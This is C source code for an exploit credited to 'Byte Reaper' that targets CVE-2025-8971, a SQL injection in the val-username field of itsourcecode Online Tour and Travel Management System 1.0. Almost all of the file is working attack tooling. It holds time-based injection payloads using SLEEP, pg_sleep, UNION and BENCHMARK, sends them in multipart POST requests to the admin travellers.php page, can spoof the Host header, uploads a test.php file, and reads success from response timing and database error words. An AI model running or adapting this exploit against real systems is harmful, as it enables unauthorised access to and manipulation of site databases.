/* * Author : Byte Reaper * CVE : CVE-2025-8971 * Vulnerability: SQL Injection * Description: SQL injection vulnerability in the itsourcecode Online Tour and Travel Management System 1.0. * target file : travellers.phptravellers.php * place in service : /admin/operations/travellers.php * full format target url : http://127.0.0.1/code/admin/operations/travellers.php * parametre Injection : `val-username` * Exploitation plan: * 1. Build full URL * 2. Prepare POST data (including username payload) * 3. Loop through payloads (encoded + raw) * 4. Send POST request via CURL * 5. Measure response: HTTP code, timing, content check * 6. Determine success & finalize exploit */ #include #include #include #include #include #include "argparse.h" #include #include #include #define URL 2800 #define FILE_CONTENT 3000 #define REF_HEADER 300 #define FAKE_IP 256 #define MAX_RESPONSE (50 * 1024 * 1024) //global Varaible static int oneRequest = 0; int result = 0; const char *fakeIp = NULL; const char *baseurl = NULL; const char *cookies = NULL; int fileC = 0; const char *imagefile = NULL; int ipF = 0; int verbose = 0; int selCookie = 0; int libt = 0; int timeD = 0; int wordF = 0; void exit64bit() { fflush(NULL); __asm__ volatile ( "syscall\n\t" : : "A"(0x3C), "D"(0) : "rcx", "r11", "memory" ); fflush(NULL); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { if (!userdata) { return 0; } if (size && nmemb > SIZE_MAX / size) { fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n"); return 0; } size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE) { fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n"); return 0; } char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exit64bit(); } if ((int)oneRequest == 1) { if (m->buffer == NULL) { printf("\e[0;31m[-] The first request is empty (Buffer -> NULL).\e[0m\n"); } else if (m->len == 0) { printf("\e[0;31m[-] The first request Len is empty (Len -> 0).\e[0m\n"); } result++; } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } //Sleep 3 second const char *payload[] = { "AND (SELECT * FROM (SELECT(SLEEP(3)))bAKL) AND 'b'='b'", "or pg_sleep(3)--", "(SELECT * FROM (SELECT(SLEEP(3)))ecMj)", "SLEEP(3)/*' or SLEEP(3) or '\" or SLEEP(3) or \"*/", "UNION SELECT @@VERSION,SLEEP(3),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10", NULL }; const char *sqlword[] = { "error", "syntax", "mysql", "duplicate", "warning", "failed", "undefined", "GTID", "ELT", "SLEEP", "Cannot", "unknown", NULL }; void sqlRequest(const char *baseURL) { char fullURl[URL]; CURL *curl = curl_easy_init(); CURLcode code; struct Mem response ; response.buffer = NULL; response.len = 0; if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exit64bit(); } struct curl_slist *headers = NULL; char *encode = NULL; curl_mime *form = NULL; if (curl) { for (int p =0; payload[p] != NULL; p++) { form = curl_mime_init(curl); if (!form) { printf("\e[0;31m[-] Form is NULL !\e[0m\n"); exit64bit(); } curl_mimepart *field; field = curl_mime_addpart(form); encode = curl_easy_escape(curl, payload[p], strlen(payload[p])); if (encode == NULL) { printf("\e[0;31m[-] Error Encode Payload !\e[0m\n"); exit64bit(); } oneRequest = 1; int skip = 0; int used_encoded = 0; if (encode != NULL) { printf("[+] Start encode Payload in Request (username=)\e[0m\n"); printf("[+] Encode Payload : %s\e[0m\n", encode); printf("[+] Original Payload (Not encode) : %s\e[0m\n", payload[p]); used_encoded = 1; } printf("[+] POST Request Not encode Payload...(encode != 1)\e[0m\n"); int len = snprintf(fullURl, URL, "%s/code/admin/operations/travellers.php", baseURL); if (checkLen(len,fullURl,URL) == 1) { printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len); goto clean; } printf("\e[0;34m[+] Len Content full url : %d\e[0m\n", len); printf("\e[0;34m[+] Write Base URL in FULL URL Success.\e[0m\n"); printf("\e[0;34m[+] Base URL Input : %s\e[0m\n", baseURL); printf("\e[0;37m[+] FULL URL : %s\e[0m\n", fullURl); printf("\e[0;37m[+] Orginale payload (Not encode) : %s\e[0m\n", payload[p]); curl_easy_setopt(curl, CURLOPT_URL, fullURl); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } // multipart POST printf("\e[0;37m[+] Default info POST : ===============================\e[0m\n"); printf("\e[0;37m[+] val-email : %s\e[0m\n", "111111@qq.com"); printf("\e[0;37m[+] val-password : %s\e[0m\n", "@qW123456"); printf("\e[0;37m[+] val-confirm-password : %s\e[0m\n","@qW123456"); printf("\e[0;37m[+] state_name : %s\e[0m\n" , "Maharashtra"); printf("\e[0;37m[+] val-digits : %s\e[0m\n","1111111111"); printf("\e[0;37m[+] val-suggestions : %s\e[0m\n", "1111"); if (fileC == 0) { printf("[+] Image Uploid : %s\n", "test.php"); } else if (fileC == 1) { if (imagefile == NULL) { printf("[-] File name is NULL !\n"); goto clean; } else { printf("[+] Image Uploid : %s\n", imagefile); } } printf("=======================================================\e[0m\n"); // Username (Encode Payload Payload) if (used_encoded) { field = curl_mime_addpart(form); curl_mime_name(field, "val-username"); curl_mime_data(field, encode, CURL_ZERO_TERMINATED); } //Username Value (Not encode payload) else { field = curl_mime_addpart(form); curl_mime_name(field, "val-username"); curl_mime_data(field, payload[p], CURL_ZERO_TERMINATED); } //email field = curl_mime_addpart(form); curl_mime_name(field, "val-email"); curl_mime_data(field, "111111@qq.com", CURL_ZERO_TERMINATED); //password field = curl_mime_addpart(form); curl_mime_name(field, "val-password"); curl_mime_data(field, "@qW123456", CURL_ZERO_TERMINATED); //confirm password field = curl_mime_addpart(form); curl_mime_name(field, "val-confirm-password"); curl_mime_data(field, "@qW123456", CURL_ZERO_TERMINATED); //Name field = curl_mime_addpart(form); curl_mime_name(field, "state_name"); curl_mime_data(field, "Maharashtra", CURL_ZERO_TERMINATED); field = curl_mime_addpart(form); curl_mime_name(field, "val-digits"); curl_mime_data(field, "1111111111", CURL_ZERO_TERMINATED); field = curl_mime_addpart(form); curl_mime_name(field, "val-suggestions"); curl_mime_data(field, "1111", CURL_ZERO_TERMINATED); //POST methode curl_easy_setopt(curl, CURLOPT_MIMEPOST, form); if (fileC == 0) { //Default file = test.php FILE *file = fopen("test.php", "w"); if (file == NULL) { printf("\e[0;31m[-] Error Create file (test.php).\e[0m\n"); goto clean; } const char *write = ""; char resultFile[3000]; int lenw = snprintf(resultFile, FILE_CONTENT, "%s", write); if (checkLen(lenw,resultFile,FILE_CONTENT) == 1) { printf("\e[0;31m[-] Len Content (File uploit test.php) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len Content : %d\e[0m\n", lenw); goto clean; } printf("\e[0;32m[+] Len Content File upload : %d\e[0m\n", lenw); if (verbose) { printf("\e[0;35m[+] Content FILE (test.php) : ==========\e[0m\n"); printf("\n%s\n", resultFile); printf("================================================\e[0m\n"); } size_t written = fwrite(write, 1, strlen(write), file); if (written != strlen(write)) { fprintf(stderr, "\e[0;31m[-] Failed Write Content in file !\e[0m\n"); } fflush(file); printf("\e[0;34m[+] Write Content file success (POST PHP).\e[0m\n"); fclose(file); if (verbose) { printf("\e[0;34m[+] Close File ...\e[0m\n"); } field = curl_mime_addpart(form); curl_mime_name(field, "photo"); curl_mime_filename(field, "test.php"); curl_mime_filedata(field, "test.php"); } else if (fileC == 1) { field = curl_mime_addpart(form); curl_mime_name(field, "photo"); curl_mime_filename(field, "imagefile"); curl_mime_filedata(field, "imagefile"); } field = curl_mime_addpart(form); curl_mime_name(field, "submit"); curl_mime_data(field, "", CURL_ZERO_TERMINATED); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; __asm__ volatile ( "mov $35, %%rax\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "D" (&s) : "rax", "rsi", "memory" ); printf("\e[0;36m[+] Sleep 0.5 s...\e[0m\n"); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } headers = curl_slist_append(headers, "Accept: text/html"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); //Referer Header char refer[REF_HEADER]; printf("\e[0;33m[+] Create Header Referer...\e[0m\n"); int lenr = snprintf(refer, REF_HEADER, "Referer: %s", baseURL); int useDefault = 0; if (checkLen(lenr,refer,REF_HEADER) == 1) { printf("\e[0;31m[-] Len Content (Header Referer) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len Content : %d\e[0m\n", lenr); printf("\e[0;31m[-] Jump Default Header (example.com)...\e[0m\n"); useDefault = 1; goto defaultHeader; } printf("\e[0;32m[+] Len Header Referer : %d\e[0m\n", lenr); printf("\e[0;37m[+] Result Header (Referer) : %s\e[0m\n", refer); headers = curl_slist_append(headers, refer); defaultHeader : if (useDefault == 1) { headers = curl_slist_append(headers, "Referer: http://example.com"); } if (ipF) { printf("\e[0;37m[+] Fake IP (Host Header Request) : %s\e[0m\n", fakeIp); char content[FAKE_IP]; int lenf = snprintf(content, FAKE_IP, "Host: %s", fakeIp); if (checkLen(lenf,content,FAKE_IP) == 1) { printf("\e[0;31m[-] Len Content (Header HOST) is Long !\e[0m\n"); printf("\e[0;31m[-] Result Len Content : %d\e[0m\n", lenf); printf("\e[0;31m[-] Jump Default Header Host (127.0.0.1)...\e[0m\n"); goto defaultHost; } printf("\e[0;34m[+] Write fake Host ip Success.\e[0m\n"); printf("\e[0;37m[+] Header Host Result : %s\e[0m\n",content); defaultHost: headers = curl_slist_append(headers, "Host: 127.0.0.1"); } else { printf("\e[0;33m[+] Arg Fake Ip HOST Not Run.\e[0m\n"); printf("\e[0;37m[+] Default Header HOSt (localhost)\e[0m\n"); headers = curl_slist_append(headers, "Host: 127.0.0.1"); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); //save time (start) struct timeval start; gettimeofday(&start, NULL); code = curl_easy_perform(curl); curl_slist_free_all(headers); headers = NULL; curl_mime_free(form); form = NULL; long http_code = 0; double timeTotal = 0.0; if (code == CURLE_OK) { printf("\e[0;37m--------------------------------------------------------------------------------------------------------\n"); printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (verbose) { printf("\e[0;35m=========================================================== [ response ] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m=====================================================================================================================================\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", http_code); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeTotal); printf("\e[0;32m[+] Response Time : %.3f\e[0m\n", timeTotal); //3 s + 5 s request timeout (libcurl) = 8 s if (fabs(timeTotal - 8.0) < 0.1) { printf("\e[0;36m[+] Sql Injection Sleep Detetced (libcurl time info)(8 s).\e[0m\n"); printf("\e[0;36m[+] Check sleep time...\e[0m\n"); libt = 1; } else { printf("\e[0;31m[-] Sleep Not dtected (time-based)!\e[0m\n"); } struct timeval end; gettimeofday(&end, NULL); double resultT = (end.tv_sec - start.tv_sec) + (end.tv_usec - start.tv_usec) / 1000000.0; if (resultT <= 8) { printf("\e[0;36m[+] SQl injection time-based detect (response server <= 8).\e[0m\n"); printf("\e[0;36m[+] Result time : %f\e[0m\n", resultT); printf("\e[0;36m[+] Check word in response...\e[0m\n"); timeD = 1; } else { printf("\e[0;31m[-] Result time Response ( time != 8s)\e[0m\n"); printf("\e[0;31m[-] Not Detect Sleep !\e[0m\n"); } if (http_code >= 200 && http_code < 300) { printf("\e[0;32m[+] Http Code (200 - 300) \e[0m\n"); if (response.buffer != NULL) { printf("\e[0;32m[+] Response length: %zu\e[0m\n", response.len); for (int w = 0; sqlword[w] != NULL; w++) { if (strstr(response.buffer, sqlword[w]) != NULL) { printf("\e[0;34m[+] Word Found is response .\e[0m\n"); printf("\e[0;37m[+] Word : %s\n", sqlword[w]); printf("\e[0;35m=========================================================== [ response (Word found)] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m=================================================================================================================================================\e[0m\n"); wordF = 1; break; } else { if (verbose) { printf("\e[0;31m[-] word not found : %s\n", sqlword[w]); printf("\e[0;35m=========================================================== [ response (Word Not found)] ===========================================================\e[0m\n"); printf("\n%s\n", response.buffer); printf("\e[0;35m====================================================================================================================================================\e[0m\n"); } wordF = 0; } } if (wordF == 0 && verbose == 0) { printf("\e[0;31m[-] Word Not Found in response Server !\e[0m\n"); } } else { printf("\e[0;31m[-] Response Buffer is NULL (WAF OR not response)!\e[0m\n"); } } else { printf("\e[0;31m[-] http code not range (200 - 300)\e[0m\n"); } printf("\e[0;33m[+] Result Check SQL INJECTION : ==============================================\e[0m\n"); if (libt == 1 && wordF == 1) { printf("\e[0;36m[+] Detect time sleep libcurl .\e[0m\n"); printf("\e[0;36m[+] Detect Word in response server.\e[0m\n"); printf("\e[0;36m[+] The server is experiencing a vulnerability Sql (CVE-2025-8971).\e[0m\n"); } else if (timeD == 1 && libt ==1) { printf("\e[0;36m[+] Detect time sleep Server .\e[0m\n"); printf("\e[0;36m[+] Detect time sleep libcurl .\e[0m\n"); printf("\e[0;36m[+] The server is experiencing a vulnerability Sql (CVE-2025-8971).\e[0m\n"); } else { printf("\e[0;31m[-] No strange server response detected !\e[0m\n"); printf("\e[0;31m[-] There is no vulnerability Sql in server (CVE-2025-8971) !\e[0m\n"); } printf("\e[0;33m===============================================================================\e[0m\n"); } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code)); exit64bit(); } } } clean : if (curl) { curl_easy_cleanup(curl); } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } if (headers) { curl_slist_free_all(headers); } if (form) { curl_mime_free(form); } exit64bit(); } int main(int argc, const char **argv) { printf( "\e[1;31m" " ▄████▄ ██▒ █▓▓█████ \n" " ▒██▀ ▀█▓██░ █▒▓█ ▀ \n" " ▒▓█ ▄▓██ █▒░▒███ \n" " ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n" " ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-8971\n" " ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n" " ░ ▒ ░ ░░ ░ ░ ░ \n" " ░ ░░ ░ \n" " ░ ░ ░ ░ ░ \n" " ░ ░ \n" "\t \e[1;31m [ Byte Reaper ] \e[0m\n" ); printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n"); if (result >= 1) { printf("[-] A large number of empty responses were received !\n"); } struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (BASE URL)"), OPT_STRING('c', "cookies", &cookies, "Enter File cookies"), OPT_STRING('i', "ip", &fakeIp, "Fake Ip (Host request)"), OPT_STRING('f', "file", &imagefile, "File upload (.php / image)"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (baseurl == NULL) { printf("\e[1;31m[-] Please Enter target Url !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE -u http://127.0.0.1\e[0m\n"); exit64bit(); } if (cookies != NULL) { selCookie = 1; } if (verbose) { verbose = 1; } if (fakeIp) { ipF = 1; } if (imagefile != NULL) { fileC = 1; } sqlRequest(baseurl); return 0; }